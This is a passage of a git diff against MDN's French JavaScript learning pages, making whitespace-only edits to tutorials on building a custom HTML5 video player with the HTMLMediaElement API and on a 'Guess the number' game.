multimédia dans les documents — {{htmlelement("video")}} et {{htmlelement("audio")}} — et qui viennent avec leurs propres APIs pour contrôler la lecture, se déplacer dans le flux, etc*.* Cet article montre comment réaliser les tâches les plus communes, comme créer des contrôles de lectures personnalisés. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis:</th> <td> - Les bases du JavaScript (voir <a + Les bases du JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps" >premiers pas en JavaScript</a >, @@ -31,7 +31,7 @@ HTML5 fournit des éléments pour intégrer du multimédia dans les documents >les briques Javascript</a >, <a href="/fr/docs/Learn/JavaScript/Objects">Introduction aux objets</a - >), <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" + >), <a href="/fr/Apprendre/JavaScript/Client-side_web_APIs/Introduction" >Introduction aux APIs web</a > </td> @@ -46,9 +46,9 @@ HTML5 fournit des éléments pour intégrer du multimédia dans les documents </tbody> </table> -## Les balises HTML5 video et audio +## Les balises HTML5 video et audio -Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans [Contenu audio et vidéo](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video), une implémentation habituelle ressemble à ça : +Les balises {{htmlelement("video")}} et {{htmlelement("audio")}} permettent d'intégrer des vidéos et de l'audio dans des pages web. Comme nous l'avons montré dans [Contenu audio et vidéo](/fr/Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video), une implémentation habituelle ressemble à ça : ```html <video controls> @@ -62,17 +62,17 @@ Cela crée un lecteur vidéo à l'intérieur du navigateur: {{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html", '100%', 380)}} -Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché: +Vous pouvez consulter toutes fonctionnalités HTML audio et vidéo dans l'article mentionné précédemment. Pour notre utilisation ici, l'attribut le plus intéressant est {{htmlattrxref("controls", "video")}}. Il permet d'activer l'ensemble des contrôles de lecture par défaut; si vous ne le spécifiez pas, vous aucun contrôle ne sera affiché: {{EmbedGHLiveSample("learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats-no-controls.html", '100%', 380)}} -Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier. +Ce n'est pas immédiatement utile pour la lecture de vidéos, mais ça a des avantages. Les contrôles natifs des navigateurs différent complètement d'un navigateur à l'autre — ce qui est embêtant pour un support global des différents navigateurs. Un autre problème est que le contrôles natifs sont généralement assez peu accessibles au clavier. Vous pouvez régler ces deux problèmes en cachant les contrôles natifs (en supprimant l'attribut `controls`) et en les remplaçant par les votres en HTML, CSS et JavaScript. Dans la prochaine section, nous verrons les outils de base à notre disposition pour faire ça. ## L'API HTMLMediaElement -L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités. +L'API {{domxref("HTMLMediaElement")}}, spécifiée dans HTML5, fournit des fonctionnalités qui permettent de controller des lecteurs audio et vidéo avec JavaScript — avec par exemple {{domxref("HTMLMediaElement.play()")}} ou encore {{domxref("HTMLMediaElement.pause()")}}. Cette interface est disponible à la fois pour les balises {{htmlelement("audio")}} et {{htmlelement("video")}}, les fonctionnalités utiles pour les deux étant quasiment identiques. Voyons un exemple pour découvrir ces fonctionnalités. Notre exemple final ressemblera (et fonctionnera) comme ceci: @@ -80,9 +80,9 @@ Notre exemple final ressemblera (et fonctionnera) comme ceci: ### Débuter -Pour commencer avec cet exemple, [télechargez notre media-player-start.zip](https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip) et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans `javascript/apis/video-audio/start/`. +Pour commencer avec cet exemple, [télechargez notre media-player-start.zip](https://github.com/mdn/learning-area/raw/master/javascript/apis/video-audio/start/media-player-start.zip) et décompressez-le dans un nouveau dossier sur votre disque dur. Si vous avez téléchargé notre dépôt d'exemples, vous le trouverez dans `javascript/apis/video-audio/start/`. -Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs. +Si vous ouvrez la page HTML, vous devriez voir un lecteur HTML5 utilisant les contrôles natifs. #### Exploration du HTML @@ -90,30 +90,30 @@ Ouvrez le fichier HTML d'index. Vous allez voir que le HTML contient majoritaire ```html <div class="player"> - <video controls> - <source src="video/sintel-short.mp4" type="video/mp4"> - <source src="video/sintel-short.mp4" type="video/webm"> - <!-- fallback contenu ici --> - </video> - <div class="controls"> - <button class="play" data-icon="P" aria-label="bascule lecture pause"></button> - <button class="stop" data-icon="S" aria-label="stop"></button> - <div class="timer"> + <video controls> + <source src="video/sintel-short.mp4" type="video/mp4"> + <source src="video/sintel-short.mp4" type="video/webm"> + <!-- fallback contenu ici --> + </video> + <div class="controls"> + <button class="play" data-icon="P" aria-label="bascule lecture pause"></button> + <button class="stop" data-icon="S" aria-label="stop"></button> + <div class="timer"> <div></div> <span aria-label="timer">00:00</span> </div> - <button class="rwd" data-icon="B" aria-label="retour arrière"></button> - <button class="fwd" data-icon="F" aria-label="avance rapide"></button> - </div> + <button class="rwd" data-icon="B" aria-label="retour arrière"></button> + <button class="fwd" data-icon="F" aria-label="avance rapide"></button> + </div> </div> ``` - Le lecteur complet est englobé dans une balise {{htmlelement("div")}} pour pouvoir appliquer du style sur le bloc complet si nécessaire. - La balise {{htmlelement("video")}} contient deux éléments {{htmlelement("source")}} pour permettre la lecture du média selon les capacités de chaque navigateur. -- La partie _controls_ du HTML est la plus intéressante: +- La partie _controls_ du HTML est la plus intéressante: - Il contient 4 {{htmlelement("button")}} : lecture/mise en pause, stop, retour arrière et avance rapide. - - Chaque `<button>` a un nom de classe, un attribut `data-icon` (pour définir l'icône affichée), et un attribut `aria-label` (qui fournit une description de chaque bouton pour le rendre accessible). Le contenu d'un attribut `aria-label` est lu par les lecteurs d'écran quand l'élément sur lequel il se situe prend le focus. + - Chaque `<button>` a un nom de classe, un attribut `data-icon` (pour définir l'icône affichée), et un attribut `aria-label` (qui fournit une description de chaque bouton pour le rendre accessible). Le contenu d'un attribut `aria-label` est lu par les lecteurs d'écran quand l'élément sur lequel il se situe prend le focus. - Il y a également un élément {{htmlelement("div")}}, qui affiche le temps écoulé quand la vidéo est en cours de lecture. Pour s'amuser, nous avons mis deux mécanismes en place — un {{htmlelement("span")}} qui affiche le temps écoulé en minutes/secondes, et un autre `<div>` pour afficher une barre de progrès. Pour vous faire une idée du produit final, vous pouvez jeter un d'oeil à [la version finie](https://mdn.github.io/learning-area/javascript/apis/video-audio/finished/). #### Exploration du CSS @@ -238,7 +238,7 @@ Nous avons déjà une interface HTML et CSS assez complète; nous avons maintena - L'élément `<video>`, et la barre de contrôle. - Les boutons play/pause, stop, retour arrière, et avance rapide. - - Le `<div>` externe, le `<span>` qui décompte le temps écoulé, et le `<div>` interne qui affiche le progrès de la vidéo. + - Le `<div>` externe, le `<span>` qui décompte le temps écoulé, et le `<div>` interne qui affiche le progrès de la vidéo. 3. Ensuite, insérez ce qui suit en bas de votre code: @@ -273,7 +273,7 @@ Imlémentons le contrôle le plus important — le bouton play/pause. } ``` - Ici, nous utilisons une instruction [`if`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut `data-icon` à "u", qui est une icône "en pause", et invoquons la méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média. + Ici, nous utilisons une instruction [`if`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) pour vérifier si la vidéo est en pause. La propriété {{domxref("HTMLMediaElement.paused")}} retourne vrai si le média est en pause — c'est le cas quand la vidéo n'est pas en cours de lecture, y compris quand la vidéo est au début après son chargement. Si elle est en pause, nous définissons la valeur de l'attribut `data-icon` à "u", qui est une icône "en pause", et invoquons la méthode {{domxref("HTMLMediaElement.play()")}} pour jouer le média. Au second clic, le bouton sera de nouveau alterné — l'icône "play" sera affiché, et la vidéo sera mise en pause avec {{domxref("HTMLMediaElement.paused()")}}. @@ -298,7 +298,7 @@ Imlémentons le contrôle le plus important — le bouton play/pause. } ``` - Il n'y a pas de méthode `stop()` dans l'API HTMLMediaElement — l'équivalent du stop est de mettre `pause()` sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à `currentTime` (en secondes) change immédiatement la position du temps du média. + Il n'y a pas de méthode `stop()` dans l'API HTMLMediaElement — l'équivalent du stop est de mettre `pause()` sur la vidéo, et de définir la propriété {{domxref("HTMLMediaElement.currentTime","currentTime")}} à 0. Définir une valeur à `currentTime` (en secondes) change immédiatement la position du temps du média. Tout ce qui nous reste à faire après ça est d'afficher l'icône "play". Que la vidéo ait été en train de jouer ou en pause, quand le bouton stop est pressé, vous voulez qu'elle doit prête à être lue. @@ -357,7 +357,7 @@ Il y a différentes manières d'implémenter le retour arrière et l'avance rapi 1. Nous effaçons les classes et intervales qui sont définits sur la fonctionnalité d'avance rapide — de cette manière, si on presse le bouton `rwd` après avoir pressé le bouton `fwd`, on annule l'avance rapide et la remplaçons avec le retour arrière. Si on essayait de faire les deux à la fois, le lecteur échouerait. 2. Nous utilisons une instruction `if` pour vérifier si la classe `active` a été définie sur le bouton `rwd`, ce qui indique qu'il a déjà été pressé. La propriété {{domxref("classList")}} est une propriété plutôt pratique qui existe sur chaque élément — elle contient une liste de toutes les classes définies sur l'élément, ainsi que des méthodes pour en ajouter/supprimer, etc. Nous utilisons la méthode `classList.contains()` pour vérifier si la liste contient la classe `active`. Cela retourne un booléen `true`/`false` en résultat. 3. Si la classe `active` a été définie sur le bouton `rwd`, nous la supprimons avec `classList.remove()`, effaçons l'intervale qui a été définit sur le bouton quand il a été pressé (voir ci-dessous pour plus d'explication), et utilisons {{domxref("HTMLMediaElement.play()")}} pour annuler le retour arrière et démarrer la vidéo normalement. - 4. Sinon, nous ajoutons la classe `active` sur le bouton `rwd` avec `classList.add()`, mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable `intervalRwd` en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction `setInterval()` créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction `windBackward()` toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable `intervalRwd` (voir l'appel à `clearInterval()` effectué plus tôt dans la fonction). + 4. Sinon, nous ajoutons la classe `active` sur le bouton `rwd` avec `classList.add()`, mettons la vidéo en pause en utilisant {{domxref("HTMLMediaElement.pause()")}}, puis définissons la variable `intervalRwd` en appelant {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. Quand elle invoquée, la fonction `setInterval()` créé un intervale actif, ce qui signifie qu'une fonction donnée en paramètre est exécutée toutes les x millisecondes — x est la valeur du 2ème paramètre. Ainsi, nous exécutons ici la fonction `windBackward()` toutes les 200 millisecondes — nous utiliserons cette fonction pour retourner la fonction en arrière de manière constante. Pour stopper un intervale actif, vous devez appeler {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} en lui donnant l'intervale à arrêter en paramètre, dans notre cas il est stocké dans la variable `intervalRwd` (voir l'appel à `clearInterval()` effectué plus tôt dans la fonction). 3. Pour en finir avec cette section, nous devons définir les fonctions `windBackward()` et `windForward()` invoquées dans les appels `setInterval()`. Ajoutez ce qui suit après les deux fonctions précédentes: @@ -431,7 +431,7 @@ C'est une fonction assez longue, alors allons-y étape par étape: 1. Tout d'abord, nous récupérons le nombre de minutes et de secondes à partir de {{domxref("HTMLMediaElement.currentTime")}}. 2. Ensuite, on initialise deux variables supplémentaires — `minuteValue` et `secondValue`. -3. Les deux instructions `if` qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale. +3. Les deux instructions `if` qui suivent déterminent si le nombre de minutes et secondes est inférieur à 10. Si c'est le cas, on ajoute un zéro à gauche pour afficher le numéro sur deux chiffres — comme sur une horloge digitale. 4. Le temps est au final la concaténation de `minuteValue`, un caractère deux-points, et `secondValue`. 5. Le temps qu'on vient de définir devient la valeur {{domxref("Node.textContent")}} du décompte, pour qu'il s'affiche dans l'interface utilisateur. 6. La largeur que nous devons donner `<div>` intérieur est calculée en récupérant la largeur du `<div>` externe (la propriété {{domxref("HTMLElement.clientWidth", "clientWidth")}} retourne la largeur de l'élément), et en la multipliant par {{domxref("HTMLMediaElement.currentTime")}} divisé par le total {{domxref("HTMLMediaElement.duration")}} du média. @@ -465,7 +465,7 @@ Je pense que nous vous en avons suffisamment appris dans cet article. L'API {{do Voici quelques suggestions de modifications à apporter à l'exemple que nous avons construit: 1. Si la vidéo dure plus d'une heure, le temps écoulé va bien afficher les minutes et les secondes mais pas les heures. Changez l'exemple pour lui faire afficher les heures. -2. Parce que les éléments `<audio>` ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément `<audio>`. Essayez de le faire. +2. Parce que les éléments `<audio>` ont la même fonctionnalité {{domxref("HTMLMediaElement")}} de disponible, vous pouvez faire fonctionner ce lecteur avec un élément `<audio>`. Essayez de le faire. 3. Trouvez un moyen de transformer le `<div>` interne en une véritable barre de progrès — quand vous cliquez quelque part sur la barre, vous vous déplacez à la position relative dans la vidéo. Un indice: vous pouvez trouver les valeurs X et Y des côtés gauche/droite et haut/bas d'un l'élément via la méthode [`getBoundingClientRect()`](/fr/docs/Web/API/Element/getBoundingClientRect), et vous pouvez trouver les coordonnées de la souris au moment du clic à l'intérieur de l'objet `event` du clic, appelé sur l'objet {{domxref("Document")}}. Par exemple: ```js diff --git a/files/fr/learn/javascript/first_steps/a_first_splash/index.md b/files/fr/learn/javascript/first_steps/a_first_splash/index.md index 8d609a1857..6bf0fbfd96 100644 --- a/files/fr/learn/javascript/first_steps/a_first_splash/index.md +++ b/files/fr/learn/javascript/first_steps/a_first_splash/index.md @@ -16,7 +16,7 @@ translation_of: Learn/JavaScript/First_steps/A_first_splash --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}} -Maintenant que vous avez appris quelques éléments théoriques sur le JavaScript, et ce que vous pouvez faire avec, nous allons vous donner un cours intensif sur les fonctionnalités basiques du JavaScript avec un tutoriel entièrement pratique. Vous allez construire un jeu simple, étape par étape. Il s'agit de faire deviner un nombre, notre jeu s'appelle « Guess the number ». +Maintenant que vous avez appris quelques éléments théoriques sur le JavaScript, et ce que vous pouvez faire avec, nous allons vous donner un cours intensif sur les fonctionnalités basiques du JavaScript avec un tutoriel entièrement pratique. Vous allez construire un jeu simple, étape par étape. Il s'agit de faire deviner un nombre, notre jeu s'appelle « Guess the number ». <table class="standard-table"> <tbody> @@ -34,15 +34,15 @@ Maintenant que vous avez appris quelques éléments théoriques sur le JavaScri </tbody> </table> -Ne vous attendez pas à comprendre tout le code en détail immédiatement — nous voulons simplement vous présenter les grands concepts pour le moment, et vous donner une idée de la façon dont JavaScript (et d'autres langages de programmation) fonctionne. Dans les articles suivants, vous reviendrez plus en détails sur toutes ces fonctionnalités ! +Ne vous attendez pas à comprendre tout le code en détail immédiatement — nous voulons simplement vous présenter les grands concepts pour le moment, et vous donner une idée de la façon dont JavaScript (et d'autres langages de programmation) fonctionne. Dans les articles suivants, vous reviendrez plus en détails sur toutes ces fonctionnalités ! > **Note :** De nombreuses fonctionnalités que vous allez voir en JavaScript sont identiques à celles d'autres langages de programmation — fonctions, boucles, etc. La syntaxe du code est différente mais les concepts sont globalement identiques. ## Penser comme un programmeur -Une des choses les plus difficiles à apprendre en programmation n'est pas la syntaxe, mais comment l'appliquer afin de résoudre un problème réel. Vous devez commencer à penser comme un programmeur — ce qui implique généralement d'examiner les tâches que votre programme doit effectuer, de déterminer les fonctionnalités du code nécessaires à leurs réalisations et comment les faire fonctionner ensemble. +Une des choses les plus difficiles à apprendre en programmation n'est pas la syntaxe, mais comment l'appliquer afin de résoudre un problème réel. Vous devez commencer à penser comme un programmeur — ce qui implique généralement d'examiner les tâches que votre programme doit effectuer, de déterminer les fonctionnalités du code nécessaires à leurs réalisations et comment les faire fonctionner ensemble. -Cela requiert un mélange de travail acharné, d'expérience avec la syntaxe de programmation (de manière générale) et surtout de la pratique — ainsi qu'un peu de créativité. Plus vous allez coder, plus vous aller vous améliorer. On ne peut pas garantir que vous aurez un « cerveau de développeur » en 5 minutes, mais nous allons vous donner plein d'occasions pour pratiquer cette façon de penser, tout au long du cours. +Cela requiert un mélange de travail acharné, d'expérience avec la syntaxe de programmation (de manière générale) et surtout de la pratique — ainsi qu'un peu de créativité. Plus vous allez coder, plus vous aller vous améliorer. On ne peut pas garantir que vous aurez un « cerveau de développeur » en 5 minutes, mais nous allons vous donner plein d'occasions pour pratiquer cette façon de penser, tout au long du cours. Maintenant que vous avez cela en tête, regardons l'exemple que nous allons construire dans cet article et comment le découper en plusieurs tâches qui ont du sens. @@ -165,7 +165,7 @@ Essayez de jouer et familiarisez-vous avec ce jeu avant de continuer. Imaginons que votre patron vous ait donné le résumé suivant pour créer ce jeu : -> Je vous demande de créer un jeu simple de devinette de nombre. Le jeu choisit aléatoirement un nombre entre 1 et 100, puis il met le joueur au défi de le deviner en 10 tentatives maxi. À chaque tour, le joueur doit être informé s'il a deviné ou non le bon nombre — si ce n'est pas le cas, le jeu lui indique si son estimation est trop basse ou trop élevée. Le jeu doit également rappeler au joueur les nombres déjà proposés. Le jeu se termine quand le joueur a deviné le nombre mystère, ou s'il a épuisé ses 10 chances. À la fin du jeu, le joueur a la possibilité de débuter une nouvelle partie. +> Je vous demande de créer un jeu simple de devinette de nombre. Le jeu choisit aléatoirement un nombre entre 1 et 100, puis il met le joueur au défi de le deviner en 10 tentatives maxi. À chaque tour, le joueur doit être informé s'il a deviné ou non le bon nombre — si ce n'est pas le cas, le jeu lui indique si son estimation est trop basse ou trop élevée. Le jeu doit également rappeler au joueur les nombres déjà proposés. Le jeu se termine quand le joueur a deviné le nombre mystère, ou s'il a épuisé ses 10 chances. À la fin du jeu, le joueur a la possibilité de débuter une nouvelle partie. La première chose à faire en regardant ce résumé, c'est de le décomposer en tâches simples et codables comme le ferait un programmeur : @@ -198,9 +198,9 @@ Voyons maintenant comment nous pouvons transformer ces étapes en code. Nous all ### Configuration initiale -Pour commencer ce didacticiel, faites une copie locale du fichier [number-guessing-game-start.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html) (à voir [directement ici](http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html)). Ouvrez-le dans votre éditeur de code et votre navigateur web. Pour l'instant, vous ne verrez qu'un titre, un paragraphe d'instructions et un formulaire pour entrer une estimation, mais le formulaire est pour l'instant inactif. +Pour commencer ce didacticiel, faites une copie locale du fichier [number-guessing-game-start.html](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html) (à voir [directement ici](http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html)). Ouvrez-le dans votre éditeur de code et votre navigateur web. Pour l'instant, vous ne verrez qu'un titre, un paragraphe d'instructions et un formulaire pour entrer une estimation, mais le formulaire est pour l'instant inactif. -L'endroit où nous allons ajouter tout notre code se trouve dans l'élément {{htmlelement ("script")}} au bas du code HTML : +L'endroit où nous allons ajouter tout notre code se trouve dans l'élément {{htmlelement ("script")}} au bas du code HTML : ```html <script> @@ -212,7 +212,7 @@ L'endroit où nous allons ajouter tout notre code se trouve dans l'élément {{h ### Ajouter des variables pour stocker les données -Commençons. Tout d'abord, ajoutez les lignes suivantes dans l'élément {{htmlelement ("script")}} : +Commençons. Tout d'abord, ajoutez les lignes suivantes dans l'élément {{htmlelement ("script")}} : ```js let randomNumber = Math.floor(Math.random() * 100) + 1; @@ -228,12 +228,12 @@ let guessCount = 1; let resetButton; ``` -Cette partie de code définit les variables nécessaires au stockage des données que notre programme utilisera. Les variables sont essentiellement des conteneurs de valeurs (tels que des nombres ou des chaînes de texte). Une variable se crée avec le mot-clé `let` suivi du nom de la variable. Vous pouvez ensuite attribuer une valeur à la variable avec le signe égal (`=`) suivi de la valeur que vous voulez lui donner. +Cette partie de code définit les variables nécessaires au stockage des données que notre programme utilisera. Les variables sont essentiellement des conteneurs de valeurs (tels que des nombres ou des chaînes de texte). Une variable se crée avec le mot-clé `let` suivi du nom de la variable. Vous pouvez ensuite attribuer une valeur à la variable avec le signe égal (`=`) suivi de la valeur que vous voulez lui donner. -Dans notre exemple : +Dans notre exemple : - La première variable — `randomNumber` — reçoit le nombre aléatoire entre 1 et 100, calculé en utilisant un algorithme mathématique. -- Les trois variables suivantes sont chacune faite pour stocker une référence aux paragraphes de résultats dans le HTML ; elles sont utilisées pour insérer des valeurs dans les paragraphes plus tard dans le code : +- Les trois variables suivantes sont chacune faite pour stocker une référence aux paragraphes de résultats dans le HTML ; elles sont utilisées pour insérer des valeurs dans les paragraphes plus tard dans le code : ```html <p class="guesses"></p> @@ -241,7 +241,7 @@ Dans notre exemple : <p class="lowOrHi"></p> ``` -- Les deux variables suivantes stockent des références au champ de saisie du formulaire et au bouton de soumission ; elles sont utilisées pour écouter l'envoi de la supposition (guess) plus tard. +- Les deux variables suivantes stockent des références au champ de saisie du formulaire et au bouton de soumission ; elles sont utilisées pour écouter l'envoi de la supposition (guess) plus tard. ```html <label for="guessField">Enter a guess: </label><input type="text" id="guessField" class="guessField"> @@ -254,7 +254,7 @@ Dans notre exemple : ### Fonctions -Ajoutez maintenant ce qui suit dans votre code JavaScript : +Ajoutez maintenant ce qui suit dans votre code JavaScript : ```js function checkGuess() { @@ -264,7 +264,7 @@ function checkGuess() { Les fonctions sont des blocs de code réutilisables que vous pouvez écrire une fois et exécuter encore et encore, pour éviter de réécrire le même code tout le temps. C'est vraiment utile. Il y a plusieurs façons de définir les fonctions, mais pour l'instant nous allons nous concentrer sur un type simple. Ici, nous avons défini une fonction en utilisant le mot-clé `function` accompagné de son nom suivi de parenthèses. Ensuite, nous avons mis deux accolades (`{ }`). Dans ces accolades est placé tout le code à exécuter à chaque appel de la fonction. -Quand nous voulons exécuter le code, nous saisissons le nom de la fonction suivi des parenthèses. +Quand nous voulons exécuter le code, nous saisissons le nom de la fonction suivi des parenthèses. Essayez. Enregistrez le code et actualisez la page du navigateur. Puis, allez dans les [outils de développement et la console JavaScript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs) et entrez la ligne suivante : @@ -272,15 +272,15 @@ Essayez. Enregistrez le code et actualisez la page du navigateur. Puis, allez da checkGuess(); ``` -Après avoir pressé <kbd>Entrée</kbd> ou <kbd>Retour</kbd>, vous devriez voir apparaître une alerte « Je suis un espace réservé » ; nous avons défini une fonction dans notre code créant une alerte chaque fois que nous l'appelons. +Après avoir pressé <kbd>Entrée</kbd> ou <kbd>Retour</kbd>, vous devriez voir apparaître une alerte « Je suis un espace réservé » ; nous avons défini une fonction dans notre code créant une alerte chaque fois que nous l'appelons. > **Note :** Vous allez en apprendre beaucoup plus sur les fonctions plus tard dans ce cours. ### Opérateurs -Les opérateurs en JavaScript nous permettent d'effectuer des tests, de faire des calculs, de joindre des chaînes ensemble et d'autres choses de ce genre. +Les opérateurs en JavaScript nous permettent d'effectuer des tests, de faire des calculs, de joindre des chaînes ensemble et d'autres choses de ce genre. -Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affichée dans le navigateur et ouvrez les [outils de développement et la console Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). Ensuite, vous pouvez saisir les exemples ci‑dessous — saisissez chacun dans les colonnes « Exemple » exactement comme indiqué, en appuyant sur la touche <kbd>Entrée</kbd> du clavier après chacun et regardez le résultat renvoyé. Si vous n'avez pas facilement accès aux outils de développement du navigateur, vous pouvez toujours utiliser la console intégrée ci-dessous : +Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affichée dans le navigateur et ouvrez les [outils de développement et la console Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs). Ensuite, vous pouvez saisir les exemples ci‑dessous — saisissez chacun dans les colonnes « Exemple » exactement comme indiqué, en appuyant sur la touche <kbd>Entrée</kbd> du clavier après chacun et regardez le résultat renvoyé. Si vous n'avez pas facilement accès aux outils de développement du navigateur, vous pouvez toujours utiliser la console intégrée ci-dessous : ```html hidden <!DOCTYPE html> @@ -359,8 +359,8 @@ Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affi inputDiv.focus(); if (document.querySelectorAll('div').length > 1) { - inputForm.focus(); - } + inputForm.focus(); + } inputForm.addEventListener('change', executeCode); } @@ -376,7 +376,7 @@ Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affi let outputPara = document.createElement('p'); outputDiv.setAttribute('class','output'); - outputPara.textContent = 'Résultat : ' + result; + outputPara.textContent = 'Résultat : ' + result; outputDiv.appendChild(outputPara); document.body.appendChild(outputDiv); @@ -394,7 +394,7 @@ Si vous ne l'avez pas déjà fait, sauvegardez ce code, actualisez la page affi {{ EmbedLiveSample('Opérateurs', '100%', 300,"", "", "hide-codepen-jsfiddle") }} -Regardons d'abord les opérateurs arithmétiques, par exemple : +Regardons d'abord les opérateurs arithmétiques, par exemple : | Operator | Name | Example | | -------- | -------------- | --------- | @@ -403,12 +403,12 @@ Regardons d'abord les opérateurs arithmétiques, par exemple : | `*` | Multiplication | `3 * 7` | | `/` | Division | `10 / 5` | -L'opérateur `+` peut aussi s'utiliser pour unir des chaînes de caractères (en informatique, on dit *concaténer*). Entrez les lignes suivantes, une par une : +L'opérateur `+` peut aussi s'utiliser pour unir des chaînes de caractères (en informatique, on dit *concaténer*). Entrez les lignes suivantes, une par une : ```js let name = 'Bingo'; name; -let hello = ' dit bonjour !'; +let hello = ' dit bonjour !'; hello; let greeting = name + hello; greeting; @@ -417,35 +417,35 @@ greeting; Des raccourcis d'opérateurs sont également disponibles, appelés [opérateurs d'assignation](/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_d_affectation) augmentés. Par exemple, si vous voulez simplement ajouter une nouvelle chaîne de texte à une chaîne existante et renvoyer le résultat, vous pouvez faire : ```js -name += ' dit bonjour !'; +name += ' dit bonjour !'; ``` Cela équivaut à : ```js -name = name + ' dit bonjour !'; +name = name + ' dit bonjour !'; ``` Lorsque nous exécutons des tests vrai/faux (par exemple, dans des conditions — voir {{anch ("Structures conditionnelles", "ci-dessous")}}, nous utilisons des [opérateurs de comparaison](/fr/docs/Web/JavaScript/Reference/Operators/Comparison_Operators), par exemple : | Operator | Name | Example | | -------- | ----------------------------------------------- | -------------------------- | -| `===` | Égalité stricte (est-ce exactement identique ?) | `5 === 2 + 4` | -| `!==` | Non égalité (est-ce différent ?) | `'Chris' !== 'Ch' + 'ris'` | +| `===` | Égalité stricte (est-ce exactement identique ?) | `5 === 2 + 4` | +| `!==` | Non égalité (est-ce différent ?) | `'Chris' !== 'Ch' + 'ris'` | | `<` | Inférieur à | `10 < 6` | | `>` | Supérieur à | `10 > 20` | ### Structures conditionnelles -Revenons à la fonction `checkGuess()`. Nous pouvons assurément dire que nous ne souhaitons pas qu'elle renvoie un message d'emplacement réservé. Nous voulons qu'elle vérifie si la supposition du joueur est correcte ou non et qu'elle renvoie une réponse appropriée. +Revenons à la fonction `checkGuess()`. Nous pouvons assurément dire que nous ne souhaitons pas qu'elle renvoie un message d'emplacement réservé. Nous voulons qu'elle vérifie si la supposition du joueur est correcte ou non et qu'elle renvoie une réponse appropriée. -Donc, remplacez l'actuelle fonction `checkGuess()` par celle-ci : +Donc, remplacez l'actuelle fonction `checkGuess()` par celle-ci : ```js function checkGuess(){ let userGuess = Number(guessField.value); if (guessCount === 1) { - guesses.textContent = 'Propositions précédentes : '; + guesses.textContent = 'Propositions précédentes : '; } guesses.textContent += userGuess + ' '; @@ -455,10 +455,10 @@ function checkGuess(){ lowOrHi.textContent = ''; setGameOver(); } else if (guessCount === 10) { - lastResult.textContent = '!!! PERDU !!!'; + lastResult.textContent = '!!! PERDU !!!'; setGameOver(); } else { - lastResult.textContent = 'Faux !'; + lastResult.textContent = 